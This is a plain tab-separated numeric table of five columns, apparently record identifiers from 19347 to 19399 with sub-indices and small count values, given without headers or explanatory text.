19347	287	1	0	0
19348	14	2	0	115
19348	26	1	0	0
19348	27	2	0	115
19348	41	3	0	0
19348	50	1	0	0
19348	60	1	0	0
19348	122	1	0	0
19348	124	1	0	0
19348	140	2	0	0
19348	145	2	0	115
19348	154	1	0	0
19348	163	1	0	0
19348	172	1	0	0
19348	176	1	0	0
19348	184	1	0	0
19348	187	1	0	0
19348	192	1	0	0
19348	197	1	0	0
19348	202	2	0	0
19348	203	1	0	0
19348	204	2	0	6804
19348	237	1	0	0
19348	245	1	0	0
19348	246	2	0	0
19348	248	1	0	0
19348	249	1	0	0
19348	279	1	0	0
19349	6	1	0	0
19349	32	1	0	0
19349	36	1	0	0
19349	42	1	0	0
19349	54	1	0	0
19349	70	1	0	0
19349	73	1	0	0
19349	77	1	0	0
19349	82	1	0	0
19349	103	1	0	0
19349	110	1	0	0
19349	152	2	0	115
19349	164	1	0	0
19349	166	1	0	0
19349	191	1	0	0
19349	204	1	0	0
19349	205	1	0	0
19349	207	1	0	0
19349	208	1	0	0
19349	215	1	0	0
19349	218	1	0	0
19349	219	1	0	0
19349	220	1	0	0
19349	223	1	0	0
19349	228	1	0	0
19349	239	1	0	0
19349	248	1	0	0
19349	253	4	0	115
19349	262	1	0	0
19349	263	1	0	0
19349	284	1	0	0
19350	17	1	0	0
19350	18	5	0	1664
19350	19	3	0	832
19350	25	2	0	115
19350	37	2	0	115
19350	40	2	0	115
19350	41	1	0	0
19350	42	2	0	0
19350	44	1	0	0
19350	46	2	0	0
19350	56	1	0	0
19350	65	5	0	0
19350	66	2	0	0
19350	68	1	0	0
19350	71	1	0	0
19350	72	2	0	115
19350	83	1	0	0
19350	103	1	0	0
19350	110	1	0	0
19350	142	1	0	0
19350	150	2	0	0
19350	159	6	0	27342
19350	161	2	0	9114
19350	162	2	0	9114
19350	172	2	0	0
19350	182	1	0	0
19350	183	1	0	0
19350	196	1	0	0
19350	233	1	0	0
19350	237	1	0	0
19350	263	1	0	0
19350	264	1	0	0
19350	270	1	0	0
19350	276	1	0	0
19350	278	1	0	0
19351	3	3	0	0
19351	5	1	0	0
19351	6	2	0	0
19351	20	1	0	0
19351	21	2	0	0
19351	30	1	0	0
19351	32	1	0	0
19351	40	1	0	0
19351	41	1	0	0
19351	48	1	0	0
19351	84	1	0	0
19351	86	1	0	0
19351	95	1	0	0
19351	99	1	0	0
19351	105	1	0	0
19351	111	1	0	0
19351	114	1	0	0
19351	124	1	0	0
19351	145	1	0	0
19351	150	1	0	0
19351	153	1	0	0
19351	173	1	0	0
19351	180	4	0	0
19351	181	7	0	0
19351	187	1	0	0
19351	202	1	0	0
19351	212	2	0	115
19351	226	1	0	0
19351	251	1	0	0
19351	267	1	0	0
19351	274	1	0	0
19351	279	1	0	0
19352	12	1	0	0
19352	20	1	0	0
19352	21	1	0	0
19352	26	2	0	0
19352	39	1	0	0
19352	40	1	0	0
19352	51	2	0	0
19352	67	1	0	0
19352	70	1	0	0
19352	77	1	0	0
19352	103	1	0	0
19352	109	1	0	0
19352	137	1	0	0
19352	138	2	0	115
19352	142	1	0	0
19352	175	1	0	0
19352	187	1	0	0
19352	192	1	0	0
19352	193	1	0	0
19352	201	1	0	0
19352	212	1	0	0
19352	216	1	0	0
19352	223	1	0	0
19352	229	1	0	0
19352	234	1	0	0
19352	256	1	0	0
19352	262	2	0	0
19352	266	2	0	0
19352	275	1	0	0
19353	0	1	0	0
19353	6	1	0	0
19353	7	1	0	0
19353	11	1	0	0
19353	40	2	0	0
19353	45	1	0	0
19353	49	1	0	0
19353	61	1	0	0
19353	67	2	0	0
19353	70	1	0	0
19353	71	1	0	0
19353	79	1	0	0
19353	80	2	0	0
19353	96	2	0	1045
19353	107	1	0	0
19353	130	1	0	0
19353	131	1	0	0
19353	142	1	0	0
19353	143	1	0	0
19353	212	1	0	0
19353	240	1	0	0
19353	249	1	0	0
19353	251	1	0	0
19353	257	1	0	0
19353	263	1	0	0
19353	271	2	0	0
19353	275	1	0	0
19353	287	1	0	0
19354	5	1	0	0
19354	20	1	0	0
19354	23	1	0	0
19354	36	1	0	0
19354	68	1	0	0
19354	82	1	0	0
19354	118	1	0	0
19354	119	1	0	0
19354	152	2	0	115
19354	172	1	0	0
19354	212	2	0	0
19354	249	1	0	0
19354	250	1	0	0
19354	253	1	0	0
19354	258	1	0	0
19355	4	1	0	0
19355	40	1	0	0
19355	43	1	0	0
19355	97	2	0	115
19355	115	1	0	0
19355	128	1	0	0
19355	134	4	0	0
19355	135	10	0	0
19355	136	4	0	0
19355	170	1	0	0
19355	176	2	0	115
19355	220	1	0	0
19355	257	1	0	0
19355	265	1	0	0
19355	269	1	0	0
19356	3	1	0	0
19356	11	1	0	0
19356	31	1	0	0
19356	39	2	0	0
19356	42	1	0	0
19356	43	1	0	0
19356	53	1	0	0
19356	126	1	0	0
19356	145	3	0	0
19356	146	8	3	20358
19356	147	2	1	6786
19356	173	1	0	0
19356	192	2	0	115
19356	235	4	0	0
19356	236	1	0	0
19356	252	1	0	0
19356	253	1	0	0
19356	257	1	0	0
19356	261	1	0	0
19356	269	1	0	0
19357	156	1	0	0
19357	159	1	0	0
19357	170	1	0	0
19357	198	1	0	0
19357	221	1	0	0
19357	229	1	0	0
19357	245	3	0	0
19357	279	1	0	0
19358	15	3	0	0
19358	40	1	0	0
19358	60	1	0	0
19358	61	4	0	0
19358	73	2	0	6816
19358	75	2	0	0
19358	86	1	0	0
19358	123	1	0	0
19358	124	1	0	0
19358	138	2	0	0
19358	188	1	0	0
19358	195	1	0	0
19358	196	2	0	115
19358	197	1	0	0
19358	216	1	0	0
19358	244	1	0	0
19359	39	2	0	0
19359	41	1	0	0
19359	76	2	0	0
19359	90	2	0	115
19359	101	2	0	115
19359	116	1	0	0
19359	152	2	0	115
19359	175	1	0	0
19359	185	1	0	0
19359	187	1	0	0
19359	212	1	0	115
19359	224	2	0	115
19359	266	2	0	115
19359	276	2	0	115
19359	279	3	0	1045
19360	18	1	0	0
19360	25	1	0	0
19360	41	1	0	0
19360	71	2	0	115
19360	83	2	0	115
19360	100	1	0	0
19360	121	1	0	0
19360	122	1	0	0
19360	138	2	0	0
19360	209	2	0	115
19360	213	4	0	230
19360	215	1	0	0
19360	228	1	0	0
19360	234	1	0	0
19360	237	1	0	0
19360	253	5	3	20358
19360	263	1	0	0
19360	269	1	0	0
19360	286	1	0	0
19361	12	2	0	0
19361	13	2	0	0
19361	26	1	0	9598
19361	36	1	0	0
19361	55	1	0	0
19361	95	1	0	0
19361	108	1	0	0
19361	109	4	0	0
19361	121	2	0	0
19361	165	1	0	0
19361	173	2	0	115
19361	175	1	0	0
19361	209	1	0	0
19361	217	1	0	0
19361	221	1	0	0
19361	245	1	0	0
19361	259	1	0	0
19362	25	1	0	0
19362	42	1	0	0
19362	51	2	1	6786
19362	71	1	0	0
19362	85	1	0	0
19362	132	1	0	0
19362	133	1	0	0
19362	143	1	0	0
19362	167	1	0	0
19362	178	2	0	115
19362	191	1	0	0
19362	197	1	0	0
19362	213	1	0	0
19362	235	1	0	0
19362	245	2	0	115
19362	251	1	0	0
19362	257	2	0	115
19362	268	1	0	0
19362	286	1	0	0
19363	2	1	0	0
19363	21	1	0	0
19363	32	1	0	0
19363	40	1	0	0
19363	43	1	0	0
19363	89	1	0	0
19363	99	1	0	0
19363	101	1	0	0
19363	126	1	0	0
19363	158	1	0	0
19363	223	1	0	0
19363	266	1	0	0
19364	4	1	0	0
19364	40	1	0	0
19364	41	1	0	0
19364	42	1	0	0
19364	80	2	0	115
19364	90	1	0	0
19364	96	1	0	0
19364	144	1	0	0
19364	171	1	0	0
19364	187	1	0	0
19364	188	2	0	0
19364	197	1	0	0
19365	39	2	0	0
19365	69	2	0	115
19365	80	1	0	0
19365	85	1	0	0
19365	201	1	0	0
19365	207	1	0	0
19366	9	1	0	0
19366	20	1	0	0
19366	29	1	0	0
19366	42	1	0	0
19366	62	2	0	1045
19366	72	1	0	0
19366	84	1	0	0
19366	87	1	0	0
19366	125	1	0	0
19366	126	3	0	0
19366	140	1	0	0
19366	141	1	0	0
19366	152	2	0	115
19366	202	1	0	0
19366	205	1	0	0
19366	220	1	0	0
19366	261	1	0	0
19366	268	2	0	0
19366	278	2	0	115
19366	286	1	0	0
19367	39	1	0	0
19367	46	1	0	0
19367	56	1	0	0
19367	61	1	0	0
19367	63	1	0	0
19367	135	1	0	0
19367	138	1	0	0
19367	158	2	0	0
19367	169	1	0	0
19367	170	1	0	0
19367	199	1	0	0
19367	207	1	0	0
19367	224	1	0	0
19367	233	1	0	0
19367	244	1	0	0
19367	259	1	0	0
19367	271	1	0	0
19367	275	1	0	0
19367	278	1	0	0
19368	0	1	0	0
19368	5	1	0	0
19368	30	2	0	0
19368	43	2	0	0
19368	55	1	0	0
19368	56	1	0	0
19368	58	1	0	0
19368	60	1	0	0
19368	61	1	0	0
19368	62	2	0	0
19368	88	1	0	0
19368	106	1	0	0
19368	139	1	0	0
19368	141	1	0	0
19368	160	1	0	0
19368	209	1	0	0
19368	211	1	0	0
19368	218	1	0	0
19368	221	4	0	6804
19368	223	1	0	0
19368	266	1	0	0
19368	271	1	0	0
19369	19	2	0	115
19369	38	1	0	0
19369	59	2	0	0
19369	90	2	0	115
19369	94	1	0	0
19369	102	2	0	115
19369	132	1	0	0
19369	174	1	0	0
19369	210	1	0	0
19369	215	1	0	0
19369	218	1	0	0
19369	236	1	0	0
19369	239	1	0	0
19369	273	1	0	0
19370	8	4	0	0
19370	9	7	0	0
19370	10	1	0	0
19370	21	1	0	0
19370	30	1	0	115
19370	37	1	0	0
19370	42	1	0	0
19370	46	2	0	115
19370	47	1	0	0
19370	52	3	0	115
19370	120	1	0	0
19370	133	2	0	115
19370	138	1	0	0
19370	153	2	0	1045
19370	155	1	0	0
19370	167	1	0	0
19370	176	1	0	0
19370	178	1	0	0
19370	237	1	0	0
19370	242	1	0	0
19370	244	1	0	0
19370	246	2	0	0
19370	259	1	0	0
19370	274	1	0	0
19370	287	1	0	0
19371	42	2	0	0
19371	44	2	0	0
19371	50	1	0	0
19371	54	2	0	0
19371	75	1	0	0
19371	90	1	0	0
19371	94	1	0	0
19371	103	1	0	0
19371	128	1	0	0
19371	147	1	0	0
19371	149	1	0	0
19371	154	2	0	115
19371	156	2	0	115
19371	176	1	0	0
19371	181	2	0	0
19371	182	1	0	0
19371	183	2	0	0
19371	191	1	0	0
19371	193	1	0	0
19371	215	1	0	0
19371	221	1	0	0
19371	225	1	0	0
19371	229	1	0	0
19371	245	1	0	0
19371	250	1	0	0
19371	251	1	0	0
19371	261	1	0	0
19372	1	1	0	0
19372	11	1	0	0
19372	15	1	0	0
19372	23	1	0	0
19372	46	2	0	0
19372	57	1	0	0
19372	59	1	0	0
19372	60	1	0	0
19372	61	1	0	0
19372	72	2	0	0
19372	86	1	0	0
19372	93	1	0	0
19372	99	1	0	0
19372	105	1	0	0
19372	117	2	1	6786
19372	118	2	1	6786
19372	130	1	0	0
19372	131	1	0	0
19372	136	1	0	0
19372	138	1	0	0
19372	141	1	0	0
19372	142	1	0	0
19372	144	1	0	0
19372	149	2	0	0
19372	150	3	0	0
19372	167	1	0	0
19372	174	1	0	0
19372	192	1	0	0
19372	216	1	0	0
19372	221	1	0	0
19372	228	1	0	0
19372	240	1	0	0
19372	269	1	0	0
19372	276	1	0	0
19372	280	1	0	0
19373	40	2	0	0
19373	74	1	0	0
19373	84	2	0	9114
19373	85	8	0	36456
19373	90	1	0	0
19373	96	1	0	0
19373	102	2	0	115
19373	120	1	0	0
19373	125	1	0	0
19373	145	1	0	0
19373	150	1	0	0
19373	171	1	0	0
19373	175	1	0	0
19373	182	1	0	0
19373	194	1	0	0
19373	199	1	0	0
19373	222	1	0	0
19373	233	1	0	115
19373	237	2	2	7850
19373	241	1	0	0
19373	242	1	0	0
19373	246	1	0	0
19373	251	3	0	1306
19373	253	1	0	0
19373	257	1	0	0
19373	261	2	0	0
19373	262	6	0	0
19373	263	2	0	0
19373	265	1	0	0
19373	272	1	0	0
19373	275	2	0	115
19373	282	2	0	115
19374	8	1	0	0
19374	13	1	0	0
19374	30	1	0	0
19374	35	2	0	115
19374	38	1	0	0
19374	39	2	0	0
19374	40	1	0	0
19374	80	1	0	0
19374	87	1	0	0
19374	97	1	0	0
19374	102	1	0	0
19374	116	1	0	0
19374	129	1	0	0
19374	137	1	0	0
19374	141	1	0	0
19374	154	1	0	0
19374	168	1	0	0
19374	170	1	0	0
19374	174	1	0	0
19374	177	1	0	0
19374	179	1	0	0
19374	182	1	0	0
19374	196	1	0	0
19374	203	1	0	0
19374	213	1	0	0
19374	223	1	0	0
19374	232	1	0	0
19374	243	1	0	0
19374	253	1	0	0
19374	263	1	0	0
19374	264	2	0	0
19374	284	4	0	0
19374	285	2	0	0
19375	5	1	0	0
19375	6	1	0	0
19375	10	1	0	0
19375	18	1	0	0
19375	23	1	0	0
19375	31	1	0	0
19375	36	2	0	0
19375	48	1	0	0
19375	59	1	0	0
19375	77	1	0	0
19375	96	2	0	0
19375	104	6	2	13572
19375	137	1	0	0
19375	162	1	0	0
19375	170	1	0	0
19375	175	1	0	0
19375	184	1	0	0
19375	191	1	0	0
19375	203	1	0	0
19375	208	1	0	0
19375	218	1	0	0
19375	219	1	0	0
19375	234	1	0	0
19375	236	1	0	0
19375	247	1	0	0
19375	256	1	0	0
19376	42	1	0	0
19376	61	1	0	0
19376	157	2	0	115
19376	182	2	0	1045
19376	184	1	0	0
19376	197	1	0	0
19376	267	1	0	0
19376	270	2	1	6786
19377	25	2	0	0
19377	30	1	0	0
19377	38	1	0	0
19377	49	1	0	0
19377	125	1	0	0
19377	170	2	0	0
19377	190	1	0	0
19377	240	1	0	0
19377	273	1	0	0
19377	284	2	0	115
19377	287	1	0	0
19378	0	1	0	0
19378	7	1	0	0
19378	17	2	0	0
19378	25	1	0	0
19378	29	1	0	0
19378	32	1	0	0
19378	37	1	0	0
19378	40	2	0	0
19378	49	1	0	0
19378	56	1	0	0
19378	57	1	0	0
19378	63	1	0	0
19378	65	1	0	0
19378	68	1	0	0
19378	71	2	0	0
19378	73	1	0	0
19378	75	1	0	0
19378	85	3	0	115
19378	91	1	0	0
19378	92	1	0	0
19378	102	2	0	0
19378	107	2	0	0
19378	110	1	0	0
19378	122	1	0	0
19378	128	1	0	0
19378	143	1	0	0
19378	144	1	0	0
19378	152	1	0	0
19378	169	2	0	0
19378	174	1	0	0
19378	178	1	0	0
19378	182	1	0	0
19378	184	1	0	0
19378	197	1	0	0
19378	200	1	0	0
19378	201	1	0	0
19378	203	1	0	0
19378	204	1	0	0
19378	206	1	0	0
19378	213	1	0	0
19378	218	1	0	0
19378	222	2	0	0
19378	223	1	0	0
19378	233	1	0	0
19378	237	1	0	0
19378	239	1	0	0
19378	245	1	0	0
19378	246	1	0	0
19378	249	1	0	0
19378	254	1	0	0
19378	255	1	0	0
19378	257	1	0	0
19378	258	1	0	0
19378	259	1	0	0
19378	265	1	0	0
19378	272	1	0	0
19378	274	1	0	0
19378	285	1	0	0
19378	286	1	0	0
19378	287	1	0	0
19379	2	2	0	0
19379	3	1	0	0
19379	5	1	0	0
19379	6	2	0	0
19379	8	1	0	0
19379	26	1	0	0
19379	28	1	0	0
19379	32	1	0	0
19379	38	2	0	0
19379	39	1	0	0
19379	40	1	0	0
19379	44	1	0	0
19379	53	1	0	0
19379	57	1	0	0
19379	58	1	0	0
19379	64	2	0	0
19379	67	1	0	0
19379	70	1	0	0
19379	78	1	0	0
19379	85	1	0	0
19379	89	1	0	0
19379	93	1	0	0
19379	97	1	0	0
19379	98	1	0	0
19379	102	1	0	0
19379	110	1	0	0
19379	111	1	0	0
19379	112	1	0	0
19379	116	1	0	0
19379	127	1	0	0
19379	128	2	1	0
19379	133	1	0	0
19379	136	1	0	0
19379	138	2	0	0
19379	155	1	0	0
19379	158	1	0	0
19379	164	1	0	0
19379	165	2	0	0
19379	168	1	0	0
19379	176	1	0	0
19379	194	2	0	0
19379	198	1	0	0
19379	200	1	0	0
19379	202	1	0	0
19379	205	1	0	0
19379	211	1	0	0
19379	216	1	0	0
19379	223	1	0	0
19379	227	1	0	0
19379	229	1	0	0
19379	235	1	0	0
19379	238	1	0	0
19379	247	1	0	0
19379	248	1	0	0
19379	255	1	0	0
19379	259	2	0	0
19379	267	1	0	0
19380	1	1	0	0
19380	3	1	0	0
19380	16	2	0	0
19380	21	1	0	0
19380	32	1	0	0
19380	35	1	0	0
19380	37	1	0	0
19380	43	1	0	0
19380	48	1	0	0
19380	49	1	0	0
19380	53	1	0	0
19380	60	2	0	0
19380	61	1	0	0
19380	62	1	0	0
19380	65	2	0	0
19380	68	1	0	0
19380	70	1	0	0
19380	73	1	0	0
19380	75	1	0	0
19380	77	1	0	0
19380	78	1	0	0
19380	80	2	0	0
19380	93	1	0	0
19380	94	2	0	115
19380	95	1	0	0
19380	97	1	0	0
19380	103	1	0	0
19380	104	1	0	0
19380	106	1	0	0
19380	107	1	0	0
19380	110	1	0	0
19380	115	1	0	0
19380	120	1	0	0
19380	132	1	0	0
19380	137	1	0	0
19380	138	1	0	0
19380	141	1	0	0
19380	143	1	0	0
19380	145	1	0	0
19380	146	1	0	0
19380	148	1	0	0
19380	161	1	0	0
19380	162	1	0	0
19380	164	1	0	0
19380	167	1	0	0
19380	168	1	0	0
19380	193	1	0	0
19380	202	3	0	0
19380	209	1	0	0
19380	212	2	0	0
19380	222	1	0	0
19380	238	4	0	0
19380	260	2	0	0
19380	262	1	0	0
19380	263	1	0	0
19380	264	1	0	0
19380	268	2	0	1045
19380	269	1	0	0
19380	273	1	0	0
19381	1	2	0	0
19381	5	1	0	0
19381	16	1	0	0
19381	17	1	0	0
19381	20	2	0	0
19381	22	1	0	0
19381	25	1	0	0
19381	26	1	0	0
19381	30	1	0	0
19381	31	1	0	0
19381	34	1	0	0
19381	43	2	0	0
19381	48	1	0	0
19381	55	2	0	0
19381	56	1	0	0
19381	58	1	0	0
19381	61	2	0	0
19381	77	1	0	0
19381	87	1	0	0
19381	88	1	0	0
19381	90	1	0	0
19381	91	1	0	0
19381	100	1	0	0
19381	108	1	0	0
19381	113	1	0	0
19381	125	1	0	0
19381	126	1	0	0
19381	134	1	0	0
19381	135	1	0	0
19381	138	1	0	0
19381	160	1	0	0
19381	164	1	0	0
19381	169	1	0	0
19381	174	1	0	0
19381	180	1	0	0
19381	183	2	0	0
19381	186	2	0	0
19381	195	1	0	0
19381	206	1	0	0
19381	211	1	0	0
19381	226	1	0	0
19381	227	1	0	0
19381	229	1	0	0
19381	232	1	0	0
19381	242	1	0	0
19381	246	1	0	0
19381	255	1	0	0
19381	258	2	0	0
19381	264	4	0	0
19381	267	1	0	0
19381	279	1	0	0
19381	282	2	0	0
19381	283	2	0	115
19381	287	1	0	0
19382	3	2	0	115
19382	5	1	0	0
19382	6	1	0	0
19382	9	2	0	0
19382	10	1	0	0
19382	13	1	0	0
19382	17	1	0	0
19382	25	1	0	0
19382	27	1	1	0
19382	30	1	0	0
19382	31	1	0	0
19382	32	1	0	0
19382	37	1	0	0
19382	38	2	0	0
19382	42	1	0	0
19382	54	1	0	0
19382	55	1	0	0
19382	58	1	0	0
19382	62	1	0	0
19382	63	1	0	0
19382	69	1	0	0
19382	70	1	0	0
19382	78	1	0	0
19382	103	1	0	0
19382	106	1	0	0
19382	108	1	0	0
19382	137	1	0	0
19382	141	1	0	0
19382	144	1	0	0
19382	145	1	0	0
19382	148	1	0	0
19382	166	2	0	115
19382	176	1	0	0
19382	188	2	0	0
19382	190	1	0	0
19382	195	1	0	0
19382	204	1	0	0
19382	205	1	0	0
19382	231	1	0	0
19382	237	1	0	0
19382	239	1	0	0
19382	242	1	0	0
19382	247	2	0	0
19382	252	1	0	0
19382	260	1	0	0
19382	261	1	0	0
19382	262	3	0	0
19382	263	1	0	0
19382	266	1	0	0
19382	269	1	0	0
19382	271	1	0	0
19382	276	6	3	20358
19382	279	1	0	0
19382	286	1	0	0
19383	1	1	0	0
19383	8	1	0	0
19383	25	1	0	0
19383	38	1	0	0
19383	39	1	0	0
19383	41	1	0	0
19383	46	4	0	0
19383	50	1	0	0
19383	51	2	0	115
19383	63	1	0	0
19383	89	1	0	0
19383	100	2	0	0
19383	119	2	0	0
19383	121	1	0	0
19383	132	1	0	0
19383	160	1	0	0
19383	170	1	0	0
19383	174	1	0	0
19383	175	1	0	0
19383	188	1	0	0
19383	191	1	0	0
19383	206	1	0	0
19383	208	1	0	0
19383	216	2	0	0
19383	218	2	0	115
19383	221	1	0	0
19383	224	1	0	0
19383	233	1	0	0
19383	245	1	0	0
19383	248	1	0	0
19383	250	1	0	0
19383	255	1	0	0
19383	259	1	0	0
19383	267	1	0	0
19383	271	1	0	0
19384	0	1	0	0
19384	1	1	0	0
19384	4	1	0	0
19384	11	2	0	115
19384	28	1	0	0
19384	35	1	0	0
19384	40	2	0	0
19384	42	1	0	0
19384	62	1	0	0
19384	73	1	0	0
19384	77	1	0	0
19384	96	1	0	0
19384	108	1	0	0
19384	111	1	0	0
19384	115	1	0	0
19384	121	1	0	0
19384	131	1	0	0
19384	136	1	0	0
19384	139	1	0	0
19384	141	1	0	0
19384	150	2	0	0
19384	151	2	0	0
19384	152	1	0	0
19384	156	1	0	0
19384	163	1	0	0
19384	195	2	0	0
19384	196	2	0	0
19384	197	1	0	0
19384	203	1	0	0
19384	211	1	0	0
19384	223	1	0	0
19384	225	1	0	0
19384	243	1	0	0
19384	263	1	0	0
19384	265	1	0	0
19384	270	1	0	0
19384	272	1	0	0
19384	273	1	0	0
19384	285	1	0	0
19385	22	1	0	0
19385	34	1	0	0
19385	43	1	0	0
19385	49	3	0	115
19385	53	1	0	0
19385	56	1	0	0
19385	57	2	0	115
19385	61	1	0	0
19385	68	1	0	0
19385	73	1	0	0
19385	82	1	0	0
19385	92	1	0	0
19385	93	1	0	0
19385	105	1	0	0
19385	113	1	0	0
19385	117	1	0	0
19385	125	1	0	0
19385	133	1	0	0
19385	138	1	0	0
19385	140	2	0	0
19385	144	1	0	0
19385	153	1	0	0
19385	155	1	0	0
19385	166	1	0	0
19385	168	3	0	115
19385	188	1	0	0
19385	191	1	0	0
19385	193	1	0	0
19385	200	1	0	0
19385	206	2	0	115
19385	227	1	0	0
19385	232	1	0	0
19385	236	1	0	0
19385	237	1	0	0
19385	243	1	0	0
19385	251	1	0	0
19385	260	1	0	0
19385	264	1	0	0
19385	286	1	0	0
19386	0	1	0	0
19386	12	1	0	0
19386	19	1	0	0
19386	32	3	0	0
19386	37	1	0	0
19386	40	1	0	0
19386	41	1	0	0
19386	42	1	0	0
19386	65	1	0	0
19386	69	1	0	0
19386	108	1	0	0
19386	111	1	0	0
19386	119	1	0	0
19386	128	2	1	6786
19386	139	1	0	0
19386	152	1	0	0
19386	186	2	0	0
19386	224	7	0	167653
19386	233	1	0	0
19386	236	5	0	0
19386	237	8	0	0
19386	238	5	0	0
19386	239	5	0	0
19386	248	1	0	0
19386	254	1	0	0
19386	257	1	0	0
19386	268	1	0	0
19386	277	2	0	0
19386	278	5	0	0
19386	279	1	0	0
19386	280	1	0	0
19386	283	1	0	0
19386	285	1	0	0
19387	12	4	0	115
19387	13	2	0	0
19387	15	1	0	0
19387	19	1	0	0
19387	20	3	0	0
19387	21	2	0	0
19387	39	1	0	0
19387	42	1	0	0
19387	43	1	0	0
19387	48	1	0	0
19387	53	1	0	0
19387	56	1	0	0
19387	59	1	0	0
19387	72	1	0	0
19387	73	5	0	0
19387	81	1	0	0
19387	83	1	0	0
19387	97	2	0	0
19387	101	1	0	0
19387	108	1	0	0
19387	122	1	0	0
19387	130	1	0	0
19387	141	1	0	0
19387	164	1	0	0
19387	181	2	0	115
19387	183	1	0	0
19387	213	1	0	0
19387	214	2	0	0
19387	234	1	0	0
19387	243	1	0	0
19387	250	1	0	0
19387	254	1	0	0
19387	258	1	0	0
19387	266	1	0	0
19387	269	1	0	0
19387	278	1	0	0
19387	283	2	0	0
19388	18	1	0	0
19388	38	1	0	0
19388	44	1	0	0
19388	53	1	0	0
19388	56	1	0	0
19388	58	1	0	0
19388	72	2	0	0
19388	83	1	0	0
19388	84	1	0	0
19388	85	1	0	0
19388	104	1	0	0
19388	109	1	0	0
19388	129	1	0	0
19388	137	1	0	0
19388	144	4	0	0
19388	152	1	0	0
19388	156	1	0	0
19388	157	1	0	0
19388	165	2	0	115
19388	169	4	0	0
19388	171	1	0	0
19388	172	1	0	0
19388	180	1	0	0
19388	181	1	0	0
19388	188	1	0	0
19388	207	1	0	0
19388	211	1	0	0
19388	215	1	0	0
19388	223	1	0	0
19388	224	1	0	0
19388	246	1	0	0
19388	254	2	0	0
19388	265	1	0	0
19388	268	2	0	0
19388	270	1	0	0
19388	271	1	0	0
19388	273	1	0	0
19389	5	1	0	0
19389	8	1	0	0
19389	22	1	0	0
19389	27	1	0	0
19389	38	1	0	0
19389	41	1	0	0
19389	48	1	0	0
19389	52	1	0	0
19389	59	1	0	0
19389	83	2	0	0
19389	93	1	0	0
19389	103	1	0	0
19389	109	1	0	0
19389	111	1	0	0
19389	130	1	0	0
19389	140	1	0	0
19389	151	1	0	0
19389	205	1	0	0
19389	209	1	0	0
19389	227	1	0	0
19389	230	1	0	0
19389	232	2	0	0
19389	237	1	0	0
19389	238	1	0	0
19389	239	2	0	0
19389	244	3	0	0
19389	245	1	0	0
19389	253	1	0	0
19389	260	1	0	0
19389	261	1	0	0
19389	265	2	0	0
19390	2	1	0	0
19390	34	1	0	0
19390	43	1	0	0
19390	56	2	0	115
19390	65	1	0	0
19390	78	1	0	0
19390	97	1	0	0
19390	111	2	0	115
19390	133	1	0	0
19390	148	1	0	0
19390	159	2	0	0
19390	160	1	0	0
19390	166	1	0	0
19390	192	1	0	0
19390	199	1	0	0
19390	201	1	0	0
19390	203	1	0	0
19390	209	1	0	0
19390	211	3	0	115
19390	223	1	0	0
19390	228	2	0	0
19390	253	1	0	0
19390	274	1	0	0
19391	7	1	0	0
19391	12	1	0	0
19391	20	2	0	9598
19391	32	1	0	0
19391	43	1	0	0
19391	45	1	0	0
19391	98	1	0	0
19391	109	3	0	0
19391	110	1	0	0
19391	111	2	0	0
19391	130	2	0	0
19391	135	1	0	0
19391	170	1	0	0
19391	179	1	0	0
19391	193	1	0	0
19391	197	1	0	0
19391	198	1	0	0
19391	235	1	0	0
19391	236	1	0	0
19391	247	1	0	115
19391	255	1	0	0
19391	272	1	0	0
19391	283	1	0	0
19392	1	2	0	0
19392	8	1	0	0
19392	38	1	0	0
19392	44	1	0	0
19392	52	1	0	0
19392	72	1	0	0
19392	81	1	0	0
19392	105	5	0	0
19392	107	1	0	0
19392	158	2	0	0
19392	182	1	0	0
19392	196	1	0	0
19392	197	1	0	0
19392	211	1	0	0
19392	216	2	0	115
19392	220	1	0	0
19392	246	1	0	0
19392	250	1	0	0
19393	31	2	0	0
19393	46	1	0	0
19393	49	1	0	0
19393	61	1	0	0
19393	104	2	0	115
19393	115	1	0	0
19393	117	2	0	115
19393	152	1	0	0
19393	162	1	0	0
19393	201	1	0	0
19393	203	1	0	0
19393	209	1	0	0
19393	239	1	0	0
19393	248	1	0	0
19393	253	1	0	0
19393	278	1	0	0
19394	40	1	0	0
19394	52	1	0	0
19394	84	2	0	0
19394	102	2	0	0
19394	111	1	0	0
19394	112	1	0	0
19394	120	1	0	0
19394	122	1	0	0
19394	182	1	0	0
19394	215	1	0	0
19394	216	1	0	0
19394	235	1	0	0
19394	248	1	0	0
19394	256	1	0	0
19395	7	1	0	0
19395	8	1	0	0
19395	37	1	0	0
19395	48	2	0	0
19395	49	2	0	0
19395	73	1	0	0
19395	92	1	0	0
19395	135	3	0	115
19395	155	1	0	0
19395	175	1	0	0
19395	188	1	0	0
19395	218	1	0	0
19395	222	1	0	0
19395	230	2	0	0
19395	237	1	0	0
19395	248	1	0	0
19395	253	1	0	0
19396	29	1	0	0
19396	39	3	0	1306
19396	40	1	0	0
19396	43	1	0	0
19396	50	3	0	0
19396	68	1	0	0
19396	69	3	0	0
19396	72	1	0	0
19396	76	1	0	0
19396	81	1	0	0
19396	83	1	0	0
19396	121	2	0	0
19396	134	2	0	115
19396	159	1	0	0
19396	186	1	0	0
19396	209	1	0	0
19396	213	1	0	0
19396	223	1	0	0
19396	240	1	0	0
19396	274	5	0	0
19396	275	8	0	167653
19397	1	1	0	0
19397	3	1	0	0
19397	15	1	0	0
19397	40	1	0	0
19397	42	1	0	0
19397	44	1	0	0
19397	68	2	0	1045
19397	73	1	0	0
19397	77	1	0	0
19397	83	2	0	0
19397	84	1	0	0
19397	88	1	0	0
19397	103	1	0	0
19397	127	1	0	0
19397	136	1	0	0
19397	138	1	0	0
19397	156	1	0	0
19397	162	1	0	0
19397	168	1	0	0
19397	178	1	0	0
19397	180	1	0	0
19397	212	1	0	0
19397	219	1	0	0
19397	251	2	0	0
19397	257	2	0	19196
19397	263	1	0	0
19397	264	1	0	0
19397	265	1	0	0
19397	266	1	0	0
19397	269	1	0	0
19397	286	1	0	0
19398	31	1	0	0
19398	36	1	0	0
19398	40	1	0	0
19398	41	1	0	0
19398	57	1	0	0
19398	88	1	0	0
19398	89	1	0	0
19398	99	1	0	0
19398	116	3	0	115
19398	121	1	0	0
19398	140	4	0	0
19398	162	1	0	0
19398	172	1	0	0
19398	183	1	0	0
19398	195	1	0	0
19398	202	1	0	0
19398	214	2	0	115
19398	218	2	0	115
19398	219	1	0	0
19398	221	3	0	0
19398	222	1	0	0
19398	225	1	0	0
19398	226	1	0	0
19398	258	1	0	0
19398	259	1	0	0
19399	37	1	0	0
19399	39	2	0	0
19399	48	1	0	0
19399	49	2	0	115
19399	63	1	0	0
19399	75	6	0	0
19399	76	5	0	0
19399	80	2	0	0
